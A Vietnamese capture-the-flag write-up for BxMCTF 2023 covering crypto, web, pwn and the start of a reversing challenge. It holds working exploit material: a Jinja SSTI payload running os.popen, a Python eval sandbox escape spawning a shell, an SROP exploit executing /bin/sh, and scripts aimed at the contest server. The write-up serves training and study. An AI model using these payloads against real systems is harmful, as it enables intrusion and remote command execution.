# (writeup) BxMCTF - '23 ## CRYPTO ### I Can't Beelieve It - Chall đưa cho ta 1 bài thơ rất xàm lunn ```txt Kings and queens, their roles well-defined, Nectar they gather, nature's sweetest find. Opulent honeycombs, a golden treasure, We marvel at their intricate measure. Nurturing their young, a family affair, Ending our exposition here, beware. Cautiously, bees buzz through the air, Together they work, a hive to share. Flowers they find, a vital mission, And in their flight, a colorful rendition. Life in motion, nature's great ballet, Let's explore the world of the Bee Movie today! ``` - Nhìn thì không có gì để giải mã, nhưng mà hãy nhìn các chữ cái đầu dòng, ta dùng [TOOL](https://www.dcode.fr/acrostic-extraction) này để xác định xem có những gì giấu trong bài thơ đó ![](https://hackmd.io/_uploads/HkBSSeKLh.png) - Nhìn này chưa thấy đúng vị trí, ta thử dùng các trường hợp hoán vị, thì ta thấy```ctf{knownall}``` là đúng > FLAG: ctf{knownall} --- ### Where Snakes Die - Chall này đưa ta 1 khoảng trắng, nhìn tưởng chả có gì đặc biệt nhưng thực ra nó là như này: ![](https://hackmd.io/_uploads/B1DDuxtI3.png) - Nó là Tab và Space, ta cần dùng 1 [tool](https://gchq.github.io/CyberChef/#recipe=Substitute('%20','XYZABCDEFGHIJKLMNOPQRSTUVW',true)&input=CSAJIHwJfCAgCSB8CXwgCXwJICAgfCAgIHwJCQl8ICAgCXwgfCAJIHwgICB8IAkJIHwgCXwJIAkgfCB8ICAgCg), để plaintext là dấu cách, ta được như sau ![](https://hackmd.io/_uploads/HkC6FeY83.png) - Nhìn khá giống Morse vì chỉ có 3 loại ký tự - Ta chuyển các ký tự đó thành các kí tự của morse dựa vào code như sau: ```python data = ' X X| |XX X| |X | XXX|XXX| |XXX |X|X X|XXX|X X|X | X X|X|XXX' data = data.replace('X','.') data = data.replace('|','/') morse = '' for i in data: if i =='.' or i=='/': morse = morse + i else: morse = morse + '_' print(morse) #Output: _._./_/.._./_/._/_.../.../___/..._/./._./.../.__./._/_._././... ``` - Ta dùng [dcode](https://www.dcode.fr/morse-code) để decode lại đoạn mã này ![](https://hackmd.io/_uploads/B1pqjxKUn.png) - Chuyển về ký tự thường sẽ thu được flag > FLAG: ctf{tabsoverspaces} --- ### RAID Safety Assays, But Fixed - Chall có đưa cho ta 1 source code: ```python e = 65537 n = 4629059450272139917534568159172903078573041591191268130667 c = 6743459147531103219359362407406880068975344190794689965016 main.py: from Crypto.Util.number import * import random p = getPrime(96) q = getPrime(96) n = p*q e = 65537 flag = b'ctf{0000000000000000}' flag = str(pow(bytes_to_long(flag), e, n)) perm = list(range(10)) random.shuffle(perm) perm = list(map(str, perm)) c = ''.join([perm[int(x)] for x in flag]) print(f'e = {e}') print(f'n = {n}') print(f'c = {c}') ``` - Trước tiên, ta factor n và thấy được ``p = 62682123970325402653307817299`` và ``q = 73849754237166590568543300233`` - Ta thấy trong code có 1 đoạn ```python perm = list(range(10)) random.shuffle(perm) perm = list(map(str, perm)) c = ''.join([perm[int(x)] for x in flag]) ``` - Ta thấy rằng, perm chính là 1 random list gồm 10 phần tử từ 0 --> 9 không theo quy luật gì cả. - Sau đó, c sẽ bằng ``perm[flag[i]]``, nghĩa là sẽ lấy từng chữ số của flag và thay vào đó là giá trị thứ perm tương ứng với chữ số đó - Ví dụ ``perm = [1,5,3,6]`` và ``flag = 123013`` thì ``c = 536156`` - Ta cần tạo các hoán vị từ 0 --> 9 rồi brute force là sẽ tìm được flag - Script: ```python from itertools import permutations from Crypto.Util.number import* e = 65537 n = 4629059450272139917534568159172903078573041591191268130667 c = 6743459147531103219359362407406880068975344190794689965016 p = 62682123970325402653307817299 q = 73849754237166590568543300233 assert p*q-n==0 phi = (p-1)*(q-1) d = inverse(e,phi) x = ['6', '7', '4', '3', '4', '5', '9', '1', '4', '7', '5', '3', '1', '1', '0', '3', '2', '1', '9', '3', '5', '9', '3', '6', '2', '4', '0', '7', '4', '0', '6', '8', '8', '0', '0', '6', '8', '9', '7', '5', '3', '4', '4', '1', '9', '0', '7', '9', '4', '6', '8', '9', '9', '6', '5', '0', '1', '6'] lst = [6, 7, 4, 3, 4, 5, 9, 1, 4, 7, 5, 3, 1, 1, 0, 3, 2, 1, 9, 3, 5, 9, 3, 6, 2, 4, 0, 7, 4, 0, 6, 8, 8, 0, 0, 6, 8, 9, 7, 5, 3, 4, 4, 1, 9, 0, 7, 9, 4, 6, 8, 9, 9, 6, 5, 0, 1, 6] # tạo một chuỗi chứa các chữ số digits = "5678901234" # tạo tất cả các hoán vị của chuỗi perms = permutations(digits) # tạo một list chứa các mảng con subarrays = [list(perm) for perm in perms] # lấy các mảng con để cho nó thành 1 chuỗi rồi đổi về số rồi decrypt for subarray in subarrays: h = ''.join([subarray[int(x)] for x in x]) cipher = int(h) flag = str(long_to_bytes(pow(cipher,d,n))) if 'ctf{' in flag: print(flag) exit() ``` > FLAG: ctf{cryptpainfulflag} --- ## WEB ### Blank Space - I mean Page - Chall này cho ta 1 web trắng -> kiềm tra các đường dẫn ẩn - Vào robots.txt: ![](https://hackmd.io/_uploads/HkW1HV_83.png) - vào Tiếp /very-secretly-hidden ![](https://hackmd.io/_uploads/Sy7WBNO82.png) > FLAG: ctf{sdh57349857243fkhkwAklkAH} --- ### Repository Security ![](https://hackmd.io/_uploads/Sk68zUsI2.png) - Tải file web2.zip mà đề bài cho. Mở thư mục app.py ta thấy từ line. - Ta đã biết được roles = admin có user = chuck ; password = norris. ![](https://hackmd.io/_uploads/SJlM7LiLn.png) - Đăng nhập rồi ta lấy được flag. ![](https://hackmd.io/_uploads/r1uUQLsIh.png) > FLAG: ctf{wh4t_4_h4rd_qu3sti0n} --- ### Username Decorator - Bài này Đọc Source chúng ta sẽ nhận ra ssti nhưng lại có filter làm cho chúng ta không dùng được các kí tự như là ' " .... - Nhưng ở đây chúng ta có thể sử dụng request.args.a để bypass qua (này không phải mình nghĩ nha !!!!) - ta sẽ thử từng bước 1 : - Đầu tiên ta sẽ truyền vào 1 tham số a với giá trị và "helloworld" r ấn enter: ![](https://hackmd.io/_uploads/rJCwd4uI3.png) - tiếp theo ta sẽ sử dụng request.args.a để xem có bypass được không: ![](https://hackmd.io/_uploads/ByyNKE_8n.png) ![](https://hackmd.io/_uploads/ByxCONuUh.png) - Vậy là Ổn đã bypass được tiếp theo lên mạng tìm payload: - ở đây mình sẽ dùng payload ``` self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() ``` - Test payload trước: ![](https://hackmd.io/_uploads/rJJqtE_U3.png) ![](https://hackmd.io/_uploads/HyZoYE_83.png) - Hoạt Động khá ổn ở đây mình sẽ dùng lệnh "printenv" để in ra biến môi trường là FLAG như miêu tả nói: ![](https://hackmd.io/_uploads/rk7kqE_Uh.png) ![](https://hackmd.io/_uploads/Hyok9V_U3.png) > FLAG:ctf{j4st_us3_pr0p3r_t3mp14t1ng_4lr34dy} --- ## PWN ### Banking Issues - source ```python #!/usr/local/bin/python import os balances = [10, 20, 50, 16, 29, 52, 100000] PERMS_ADMIN = { "MAX_INDEX": len(balances) - 1 } PERMS_AGENT = { "MAX_INDEX": len(balances) - 2 } def main(): perms = PERMS_AGENT wallet = 0 idx = int(input("Which account would you like to withdraw from? ")) if idx > perms["MAX_INDEX"]: print("Unauthorized") return wallet += balances[idx] balances[idx] = 0 print(f"You now have ${wallet} in your wallet.\n") if wallet >= 100000: print("Thanks for storing a lot of $$ at our bank.") print("You qualify for free wealth management services.") print(f"To access this service, please email {os.getenv('FLAG')}@bxmctf.bank.\n") print("Thank you for banking with BxMCTF Bank.") if __name__ == "__main__": main() ``` - đọc code thì ta hiểu sơ qua là ta sẽ nhập 1 số nào đó để, số đó là số thự tự trong mảng balances, sau đó gán giá trị đó vào wallet , nếu wallet = 100000 thì ra flag **ta nhập thử 5 xem sao** ![](https://hackmd.io/_uploads/r1bBxFO83.png) - kết quả là 52 nên chưa đúng **vậy ta nhâp 6 sẽ ra 1000000** ![](https://hackmd.io/_uploads/HkIclY_8n.png) **chà ko đúng r, vậy ta thử nhập -1 xem sao:** ![](https://hackmd.io/_uploads/ByZ0gK_82.png) ra rồi nè hehe > FLAG: ctf{0h_d34r_n3g4t1v3_1dx} --- ### Math Class - check file + checksec ![](https://hackmd.io/_uploads/HJlu7WPLn.png) - check source ```c #include <stdio.h> #include <stdlib.h> #include <time.h> int main() { setvbuf(stdout, NULL, _IONBF, 0); srand(time(NULL)); int lim = rand() % 8192; for (int i = 0; i < lim; i++) { rand(); } printf("Ok, it's time to do some math!\n"); for (int i = 0, a, b, c; i < 5; i++) { a = rand(); b = rand(); printf("%d + %d = ?\n", a, b); scanf("%d", &c); if (a + b != c) { printf("Wrong answer\n"); return 0; } } printf("Ok, let's switch it up. This time you give me the first number, and I give the rest!\n"); for (int i = 0, a, b, c; i < 5; i++) { b = rand(); c = rand(); printf("? + # = %d\n", c); scanf("%d", &a); printf("The equation was ? + %d = %d\n", b, c); if (a + b != c) { printf("Wrong answer\n"); return 0; } } printf("Ok, you get the flag now, I guess\n"); printf("%s\n", getenv("FLAG")); } ``` - bài này nó sẽ chia ra 2 giai đoạn - round 1: 5 vòng phép tính cộng bình thường ```c printf("Ok, it's time to do some math!\n"); for (int i = 0, a, b, c; i < 5; i++) { a = rand(); b = rand(); printf("%d + %d = ?\n", a, b); scanf("%d", &c); if (a + b != c) { printf("Wrong answer\n"); return 0; } } ``` - round 2: 5 vòng guessing ```c printf("Ok, let's switch it up. This time you give me the first number, and I give the rest!\n"); for (int i = 0, a, b, c; i < 5; i++) { b = rand(); c = rand(); printf("? + # = %d\n", c); scanf("%d", &a); printf("The equation was ? + %d = %d\n", b, c); if (a + b != c) { printf("Wrong answer\n"); return 0; } } ``` - ở round 2, đề sẽ bắt ta đoán 1 số `` a + b = c`` > cho biết trước số c, đoán số a và sẽ đưa ngẫu nhiên số b, thoã mãn phép tính sẽ in flag - thì bài này bug vẫn nằm ở **time()** và **srand()** - thêm thư viện libc.so.6 vào để import thư viện chuẩn code C bên trong python - đầu tiên đề sẽ **rand()** 1 lượng nhất định ```c setvbuf(stdout, NULL, _IONBF, 0); srand(time(NULL)); int lim = rand() % 8192; for (int i = 0; i < lim; i++) { rand(); } ``` - sau đó mỗi vòng sẽ **rand()** thêm nữa nên ta sẽ **rand()** cho đủ số lượng là được ![](https://hackmd.io/_uploads/r1nAG-P82.png) - script: ```python #!/usr/bin/python3 from pwn import * import random import time from ctypes import * context.binary = exe = ELF('./main',checksec=False) elf = cdll.LoadLibrary("libc.so.6") #p = process(exe.path) p = remote('198.199.90.158',33017) p.recvline() giay = int(time.time()) elf.srand(giay) lim = elf.rand() % 8192 log.info("rand: " + str(lim)) for i in range(0,lim): z = elf.rand() for i in range (0,5): a = elf.rand() b = elf.rand() a = int(p.recvuntil(b' +',drop=True),10) b = int(p.recvuntil(b' =',drop=True),10) p.recvuntil(b'?\n') c = a + b p.sendline(str(c)) p.recvline() for i in range (0,5): b = elf.rand() c = elf.rand() log.info("b = " + str(b)) log.info("c = " + str(c)) p.recvuntil(b'# = ') c = int(p.recvline()[:-1],10) log.info("c = " + str(c)) a = c - b p.sendline(str(a)) p.interactive() #ctf{sr4nd_t1m3_n0t_th4t_r4nd0m} ``` > FLAG: ctf{sr4nd_t1m3_n0t_th4t_r4nd0m} --- ### More Banking Issues - check file + checksec ![](https://hackmd.io/_uploads/Sk0cOGD8n.png) - check ida ```c unsigned __int64 sub_12E0() { char *v0; // rax char *v1; // rax unsigned int v2; // eax __int128 *v3; // rbx void **v4; // rbp unsigned __int64 result; // rax __int64 v6; // rax __int64 v7; // rdx __int64 v8; // rax __int64 v9; // rdx __int64 v10; // rcx __int64 v11; // rax __int64 v12; // r14 size_t v13; // rdi __int64 v14; // r14 void *v15; // r13 char v16; // al time_t v17; // rax int v18; // ecx __int64 v19; // rdx __int64 v20; // rdx __int64 v21; // rcx int v22; // [rsp+4h] [rbp-84h] char *ptr; // [rsp+8h] [rbp-80h] unsigned int v24; // [rsp+14h] [rbp-74h] BYREF unsigned int v25; // [rsp+18h] [rbp-70h] BYREF int v26; // [rsp+1Ch] [rbp-6Ch] BYREF __int128 v27[2]; // [rsp+20h] [rbp-68h] BYREF __int64 v28; // [rsp+40h] [rbp-48h] unsigned __int64 v29; // [rsp+48h] [rbp-40h] v29 = __readfsqword(0x28u); ptr = (char *)malloc(0x40uLL); v0 = getenv("SECRET_KEY"); __strcpy_chk(ptr, v0, 32LL); v1 = getenv("FLAG"); __strcpy_chk(ptr + 32, v1, 32LL); v22 = 0; v28 = 0LL; memset(v27, 0, sizeof(v27)); while ( 1 ) { puts("Welcome to BxMCTF Bank ABM"); puts("1. Make an account"); puts("2. Check Balance"); puts("3. Make a Deposit"); puts("4. Withdraw Money"); puts("5. Quit"); __printf_chk(1LL, "What is your choice? "); __isoc99_scanf("%d", &v24); v2 = v24; if ( v24 - 2 > 2 ) goto LABEL_3; __printf_chk(1LL, "Account Number? "); __isoc99_scanf("%d", &v25); if ( v25 <= 4 && (v19 = *((_QWORD *)v27 + (int)v25)) != 0 ) { if ( v25 != *(_DWORD *)(v19 + 4) ) { puts("Oh no, something terrible happened. Please go to the front counter."); exit(0); } v2 = v24; LABEL_3: switch ( v2 ) { case 1u: __printf_chk(1LL, "How long is your account name? "); __isoc99_scanf("%d", &v26); fgetc(stdin); if ( v26 <= 0 ) { v26 = 1; v12 = 1LL; } else { v12 = v26; if ( v26 > 128 ) { v26 = 128; v12 = 128LL; } } v13 = v12; v14 = 0LL; v15 = malloc(0x28uLL); *((_QWORD *)v15 + 3) = malloc(v13); v25 = v22; *((_QWORD *)v27 + v22++) = v15; __printf_chk(1LL, "Account Name? "); if ( v26 > 0 ) { do { v16 = fgetc(stdin); if ( v16 <= 31 ) break; *(_BYTE *)(*((_QWORD *)v15 + 3) + v14++) = v16; } while ( v26 > (int)v14 ); } strcpy((char *)v15 + 32, "CHEQ"); v17 = time(0LL); *((_QWORD *)v15 + 1) = 0LL; *((_QWORD *)v15 + 2) = v17; v11 = (int)v25; v18 = 4 * v25 + 182730; *((_DWORD *)v15 + 1) = v25; *(_DWORD *)v15 = v18; goto LABEL_13; case 2u: v11 = (int)v25; LABEL_13: __printf_chk( 1LL, "Account %d (%s) - %s: %lld\n", *(unsigned int *)(*((_QWORD *)v27 + v11) + 4LL), *(const char **)(*((_QWORD *)v27 + v11) + 24LL), (const char *)(*((_QWORD *)v27 + v11) + 32LL), *(_QWORD *)(*((_QWORD *)v27 + v11) + 8LL)); break; case 3u: __printf_chk(1LL, "How much? "); __isoc99_scanf("%d", &v24); v8 = *((_QWORD *)v27 + (int)v25); v9 = (int)v24; v10 = *(_QWORD *)(v8 + 8) + (int)v24; *(_QWORD *)(v8 + 8) = v10; __printf_chk(1LL, "You have successfully deposited $%d. Your balance is now $%lld\n", v9, v10); break; case 4u: __printf_chk(1LL, "How much? "); __isoc99_scanf("%d", &v24); v6 = *((_QWORD *)v27 + (int)v25); v7 = *(_QWORD *)(v6 + 8); if ( v7 >= (int)v24 ) { v20 = v24; v21 = *(_QWORD *)(v6 + 8) - (int)v24; *(_QWORD *)(v6 + 8) = v21; __printf_chk(1LL, "You have successfully withdrawn $%d. Your balance is now $%lld\n", v20, v21); } else { __printf_chk(1LL, "Insufficient funds. You only have $%lld.\n", v7); } break; case 5u: free(ptr); if ( v22 ) { v3 = v27; do { v4 = *(void ***)v3; v3 = (__int128 *)((char *)v3 + 8); free(v4[3]); free(v4); } while ( (__int128 *)((char *)v27 + 8 * (unsigned int)(v22 - 1) + 8) != v3 ); } puts("Thank you for banking with BxMCTF."); result = v29 - __readfsqword(0x28u); if ( result ) JUMPOUT(0x174BLL); return result; default: puts("Invalid option"); break; } } else { puts("Invalid account"); } } } ``` - muốn chạy được file hay debug file, ở mỗi terminal ta phải khai báo biến môi trường ```bash $ FLAG="KCSC{this_is_fake_flag}" $ SECRET_KEY="KCSC{secret_key}" $ export FLAG && export SECRET_KEY ``` - đề cho ta 5 options: ```c puts("Welcome to BxMCTF Bank ABM"); puts("1. Make an account"); puts("2. Check Balance"); puts("3. Make a Deposit"); puts("4. Withdraw Money"); puts("5. Quit"); ``` - option1 sẽ là tạo 1 acc, hỏi size name(tức là hỏi size để malloc tạo heap) rồi điền name - option2 để in ra thông tin acc - option3 option4 sẽ là tăng giảm tiền (đặt cọc & rút : số âm / dương đều được) - option5 sẽ là **free()** (để 'Quit' vậy thôi chứ k có thoát chương trình, lặp lại vòng lặp) - hint: LIFO (last in first out) - cơ chế LIFO là dạng dữ liệu ``push`` và ``pop`` - nói nôm na ntn: ![](https://hackmd.io/_uploads/rJIRazvUh.png) > vào trước, nhưng ra sau cùng > vào sau, nhưng được ra trước - dừng trước **scanf()** chọn option ![](https://hackmd.io/_uploads/S1YqCGvI2.png) - ta thấy flag ta sẽ nằm trong heap, thì cơ chế LIFO sẽ cùng tương tự với tcache và fastbin ![](https://hackmd.io/_uploads/ryRe4QvU2.png) - để có thể đổi chỗ 2 chunk thì ta phải đổi 2 chunk CÙNG SIZE ![](https://hackmd.io/_uploads/SJVRVmwUh.png) >size = 0x50 ---> khởi tạo 0x40 = 64 là đẹp (vì còn 0x10 làm tròn) >content thì k quan trọng ```python p.sendlineafter(b'choice? ',b'1') p.sendlineafter(b'name? ',b'64') #0x40 --> malloc = 0x50 p.sendlineafter(b'Name? ',b'hlaan') ``` ![](https://hackmd.io/_uploads/ryIYSXDLn.png) > secret_key là 92a0 - sau đó ta free ![](https://hackmd.io/_uploads/SyFCHmDI3.png) > secret_key là 9730 - malloc thêm 1 lần với size name 0x40 để tạo cùng size 0x50 - nhưng content sẽ là 0x20 byte 'a' (mục đích nối chuỗi dính với cái flag) ![](https://hackmd.io/_uploads/ByrEwQD8n.png) ![](https://hackmd.io/_uploads/SyXHuQDIn.png) - sau đó nó sẽ hiện thị tên acc kèm flag ![](https://hackmd.io/_uploads/B13PO7PLn.png) - remote: ![](https://hackmd.io/_uploads/SyIwdGDLh.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./main',checksec=False) ###################################### # $ FLAG="KCSC{this_is_fake_flag}" # # $ SECRET_KEY="KCSC{secret_key}" # # $ export FLAG && export SECRET_KEY # ###################################### #p = process(exe.path) p = remote('198.199.90.158',36427) p.sendlineafter(b'choice? ',b'1') p.sendlineafter(b'name? ',b'64') #0x40 --> malloc = 0x50 p.sendlineafter(b'Name? ',b'hlaan') p.sendlineafter(b'choice? ',b'5') #free secret p.sendlineafter(b'choice? ',b'1') p.sendlineafter(b'name? ',b'64') #ghi lại cùng size với secret p.sendlineafter(b'Name? ',b'a'*32) #0x20 nối chuỗi p.interactive() #ctf{o0ps_m4ll0c_c4lloc} ``` > FLAG: ctf{o0ps_m4ll0c_c4lloc} --- ### Bonus: The Revenge of Checkpass 1 - check source ```python #!/usr/local/bin/python # -*- coding: utf-8 -*- def main(): password = "the password can contain non-ascii charactérs :)" inp = input("Enter a Python list: ") lis = eval(inp, {'__builtins__': None}, None) if type(lis) != list: print("That's not a list") return for i in lis: if not isinstance(i, int): print("The list can only contain integers") return if lis == [ord(e) for e in password]: print("You are now authorized!") with open("flag.txt", "r") as flag: print(flag.read()) else: print("Incorrect password!") if __name__ == "__main__": main() ``` - bug của bài này nằm ở hàm **eval()** - nhưng khó là nó bị fillter ``'__builtins__': None`` là k cho gọi j hết á - hint: https://gynvael.coldwind.pl/n/python_sandbox_escape - ta sẽ xài trick2 cho dễ ![](https://hackmd.io/_uploads/HyBrbfD8n.png) - trên máy local: ![](https://hackmd.io/_uploads/S1OcbMvU3.png) ``{}.__class__.__base__.__subclasses__()[104].load_module("os").system("sh")`` >tìm được 104 là do brute bằng script - payload chung: ``{}.__class__.__base__.__subclasses__()[id].load_module("os").system("sh")`` > id này phải fuzz theo từng máy ![](https://hackmd.io/_uploads/BJiVGfwLn.png) - bị treo ở 107 ![](https://hackmd.io/_uploads/BJSBJfPU2.png) - script: ```python #!/usr/bin/python3 from pwn import * import os for i in range (50,200): p = remote('198.199.90.158',37369) payload = '{}.__class__.__base__.__subclasses__()' payload += f'[{i}].load_module("os").system("sh")' p.sendline(payload) if b'Traceback (most recent call last):' not in p.recvline(): p.interactive() else: p.close() #ctf{pyth0n_s4ndb0x_br34k0ut_1f8bca} ``` > FLAG: ctf{pyth0n_s4ndb0x_br34k0ut_1f8bca} --- ### Anti-Libc - check file + checksec ![](https://hackmd.io/_uploads/By38Jb9Un.png) - check ida ![](https://hackmd.io/_uploads/ryjSlb9L3.png) >main ![](https://hackmd.io/_uploads/S1H5lbqUn.png) >readint ![](https://hackmd.io/_uploads/rJvieWqIn.png) >read_buf - đề sẽ in ra "Length of input?" cho mình nhập 1 số ![](https://hackmd.io/_uploads/BJYbbb9U3.png) - sau đó sẽ cho ta gửi vào dữ liệu với size là số ta nhập trước đó - checksec có mỗi NX bật, tên đề là anti-libc, k thể sehllcode, k thể ret2libc - chỉ còn ROP là khả quan nhưng ở bài này sẽ dùng SYSROP - kiểm tra xem có lỗi BOF k để mà còn sài sigreturn ![](https://hackmd.io/_uploads/rJvieWqIn.png) ```c signed __int64 v2 //rax --------------------------------------- v2 = sys_read(0, input_buf, 0x10000uLL) //bufer overflow ``` - uầy z là có rbp rip các kiểu - tính offset ![](https://hackmd.io/_uploads/HkzvuWqLh.png) >72 bytes - ROPgadget có **syscall** ta cần ![](https://hackmd.io/_uploads/BJ3w7-9U2.png) >0x0000000000401055 - nhưng ta lại không có gadget nào khả quan để thiết lặp rax thành 0xf cho sigreturn cả - thì có là biến ``__int64 v2`` đc ida phân tích là rax - tức là 8 byte đầu của nó sẽ truyền vào rax, nhưng ở đây nó truyền lần lượt từng byte một - là nó sẽ k truyền hoàn toàn cả 8 bytes vào rax 1 lượt, mà chỉ truyền duy nhất 1 byte và làm mới cho mỗi vòng lặp ![](https://hackmd.io/_uploads/ryjSlb9L3.png) >hàm read_buf có tác dụng là đọc từng byte, trả về kết quả cho result >sau đó gán con trỏ ``*v5`` cho result >``*v5`` được ida hiểu là thanh ghi r10 >ở đây ta debug kỹ sẽ hiểu tại sao lại đọc từng byte 1, rồi lại đẩy stack cao lên các kiểu >chú ý ở thanh ghi r10 và rbp, rip khi debug - thế phải làm sao đâyyyyy - phải làm sao phải làm sao 👉👈 - thì ta để payload ta 8 byte đầu null, ở rip gọi hàm đọc 1 số là đủ (``randint() trong trường hợp này là hợp ní``) - sau đó mình **send(b'15')** vào - lúc này 15 = 0xf đó sẽ đưa vào đầu payload thêm 1 con số, r đưa lên rax, thế là ta có rax = 0xf rồi, call **syscall** lên là có ngay sigreturn - nhưng vì chèn thêm 1 byte 15 = 0xf đó nên offset sẽ tăng thêm 1 thành 73 (nếu giữ 72 bytes thì debug sẽ thấy lỗi) - payload cho sigreturn: - truyền b'/bin/sh\0' ngay sau 8 bytes null - đọc vào vùng nhớ bss 0x402020 - b'/bin/sh\0' nằm ở địa chỉ cao hơn 8 là 0x402028 ---> rdi ![](https://hackmd.io/_uploads/r1_W4Z5U3.png) - để cho payload vừa khít lỗ ~~đít~~ thì ở lần nhập đầu tiên 'input?', ta sẽ tính độ dài payload trừ đi 1 là xong ![](https://hackmd.io/_uploads/SJ0fhL_I3.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./main',checksec=False) #p = process(exe.path) p = remote('198.199.90.158',37813) # gdb.attach(p,gdbscript=''' # b*main+30 # b*main+35 # b*0x40103f # c # ''') # input() syscall = 0x0000000000401055 frame = SigreturnFrame() frame.rax = 0x3b frame.rdi = 0x00000000402028 frame.rsi = 0x0 frame.rdx = 0x0 frame.rip = syscall payload = p64(0) payload += b'/bin/sh\0' payload = payload.ljust(73,b'A') payload += p64(exe.sym['readint']) payload += p64(syscall) payload += bytes(frame) length = len(payload) p.sendafter(b'input? ',str(length-1).encode()) p.send(payload) p.sendline(b'15') p.interactive() #ctf{p3rf_4nd_s3c_m1sm4tch} ``` >ctf{p3rf_4nd_s3c_m1sm4tch} --- ## REV ### Deception - tait file zip từ chall về, nhận được 1 đoạn mã hoá base64, decode và nhận được source có vẻ giống java ```java import java.io.*; import java.util.*; import java.time.*; import java.text.*; import java.math.*; public class Deception { static FastReader FastReader = new FastReader(); static BufferedWriter o = new BufferedWriter(new OutputStreamWriter(System.out)); static PrintWriter pw; static char table[] = { 'd', 'y', 'n', 'm', 'r', '7', '2', '3', '9', '8', 'o', '2', 'm', 'n', 'y', 'l', 'r', 'f', '7', '4', '9', '0', '2', '3', 'q', 'y', 'n', 'd', '7', '8', '9', '4', '2', '3', 'y', 'd', '8', '9', 'o', 'q', '7', 's', 'n', 'g', 'y', 'u', 'i', '2', 'g', 'h', 'u', 'y', 'i', 'c', 'g', 'i', 'k', 'a', 'd', 'l', 'd', 'g', 'h', 'i', 'w', 'k', 'a', 'l', 'S', 'D', 'H', 'N', 'Q', 'O', '3', '2', '7', 'D', 'Q', '2', 'O', '8', 'G', 'D', 'H', '7', '8', 'O', '2', 'Q', 'D', 'N', 'G', 'W', 'U', 'A', 'K', 'D', 'G', 'H', 'X', 'K', 'J', 'S', 'A', 'G', 'D', '2', 'K', 'S', 'A', 'G', 'I', 'K', 'G', 'I', 'Y', 'K', 'G', 'I', 'K', '7', 'i', 'k', 'l', 'f', 'g', '3', 'i', 'k', 'r', 'g', 'f', '3', '8', 'o', '4', '7', 't', 'g', '3', '9', '8', 'o', 'f', 'g', 'o', '7', 'i', 'h', 'f', 'k', 'u', 'i', 'a', 'l', 'w', 'e', 'h', 'f', 'i', 'l', 'w', 'k', 'a', '}', 'h', 'x', 'w', 'l', 'a', 'u', 'k', 'f', 'x', 'n', 'h', 'e', 'a', 'o', 'i', 'u', 'h', 'x', 'f', 'g', 'a', 'w', 'i', 'o', 'u', 'y', 'g', 'h', 'e', 'a', 'w', '8', 'o', 'n', '7', '4', 'w', 'f', '8', 'o', 'n', 'w', 'q', 'g', '7', '8', 'o', '4', 'w', 'a', 'n', 'g', 'h', 'u', 'i', 'a', 'w', 'e', 'k', '0', 'l', 'f', 'b', 'x', 'c', 'j', 'k', 'a', 's', 'd', 'f', 'b', 'j', 'k', 'a', 's', 'e', 'f', 'k', 'j', 'a', '7', 'e', 'n', 'f', 'g', 'a', 'i', 'u', 'y', 'w', 'e', 'k', 'f', 'g', 'y', 'u', 'w', 'e', 'a', 'i', 'o', 'g', 'h', 'x', 'f', 'a', 'e', 'j', 'k', 'w', 'B', 'f', 'w', 'e', 'a', 'k', 'j', 'f', 'g', 'h', 'a', 'w', '7', 'g', 'v', 'a', 'w', 'u', 'b', 't', '3', '2', 'q', '6', '7', '8', 'd', 't', 'b', '3', 'q', '6', '8', 'o', '4', 't', 'q', '7', '8', 'o', 'i', '3', 't', 'r', 'o', '8', 'c', '7', 'b', 't', '3', '5', 'p', '9', 'q', 't', 'y', '5', 'c', '7', '1', 'b', 'r', 't', 'c', 'y', '2', '7', '1', '8', 'f', '2', '7', '1', '8', '9', '0', '7', 'n', 'y', '0', '9', '8', 'y', 'm', 'r', '8', '9', '2', 'm', 'c', '0', '9', '2', 'y', 'i', 'o', 'h', 'u', 'i', 'w', 'h', 'i', 'l', 'w', 'n', 'h', 'r', 'i', 'u', 'w', 'e', 'k', 'l', 'h', 'n', '8', '2', '7', '0', '3', 'n', 'y', 'r', '7', '4', 'j', '3', 'y', 'n', 'r', '7', '8', '3', 'n', 'g', 'h', 'c', 'e', '7', 'u', 'n', 'g', 'c', 'h', 'o', '3', '7', 'i', '4', 'y', 'h', 'r', 'o', 'i', 'u', 'w', 'e', 'h', 'r', 'i', 'o', 'w', 'n', 'r', 'u', 'w', 'e', 'i', 'r', 'h', 'n', 'w', 'o', 'u', 'i', 'e', 'n', 'h', 'r', 'i', 'u', 'i', '3', 'e', 'w', 'n', 'h', 'u', 'i', 'w', 'o', 'h', 'c', 'm', 'r', '7', '8', '4', 'n', 'y', '3', '7', '9', '8', '4', '4', '5', '4', '4', '6', 't', '4', '3', '7', '8', '9', '5', '6', '3', '9', '8', '7', 'c', 'n', 't', '5', 'y', '9', '3', '4', '7', '8', 'n', '5', 't', 'y', 'c', '7', '8', '9', '3', '4', '6', 'c', '5', '9', '8', '7', '3', '2', '7', '9', 't', 'y', 'b', 'n', '9', 'p', '2', 'y', 'n', 'x', '9', '1', '2', 'y', '3', 'r', 'y', 'n', 'd', 'f', '9', '8', 'o', 'r', '7', 'y', 'n', 'm', 'r', 'd', 'o', 's', '8', '9', '7', 'y', 'n', 'm', 'd', 'r', 'o', 'h', '9', 'q', '7', '0', '4', '2', 'd', 'r', 'y', 'n', 'm', '9', '3', '2', 'q', '7', '8', '9', 'd', 'y', 'm', '4', 'o', 'q', '8', 't', '9', 'r', 'n', 'y', 'm', 'f', 'o', 'q', '8', '9', '3', 'f', 'y', 'm', 'n', 'y', '3', 'q', '8', '}', 'o', 'd', 'r', 'm', 'n', 'y', 'q', '9', '2', '3', '8', '7', 'y', '7', '8', '9', '5', 'y', 'q', '9', 'd', 'o', 'y', 'l', 'a', 'y', 'a', 'l', 'y', 'd', '9', 'y', 'n', 'l', 'y', 'i', '7', 'N', '7', 'F', 'C', 'N', 'G', 'H', '3', 'I', 'W', 'Y', 'U', 'T', 'G', 'N', '3', 'I', '7', 'f', '4', 'T', 'G', '8', '7', '3', '6', 'I', 'W', 'T', '5', 'Y', '7', '8', 'W', '3', '4', 'O', 'N', 'F', 'C', 'B', 'O', 'd', '3', '7', 'N', 'Y', 'F', 'R', '4', 'N', '7', 'U', 'I', 'Y', 'E', 'K', 'L', 'S', 'H', 'A', 'I', 'U', 'H', 'E', 'R', 'F', 'U', 'A', 'I', 'W', 'K', 'R', 'N', 'o', 'F', 'H', 'A', 'O', '7', '8', '4', 'Y', '7', 'O', '8', 'Y', '7', '8', 'O', 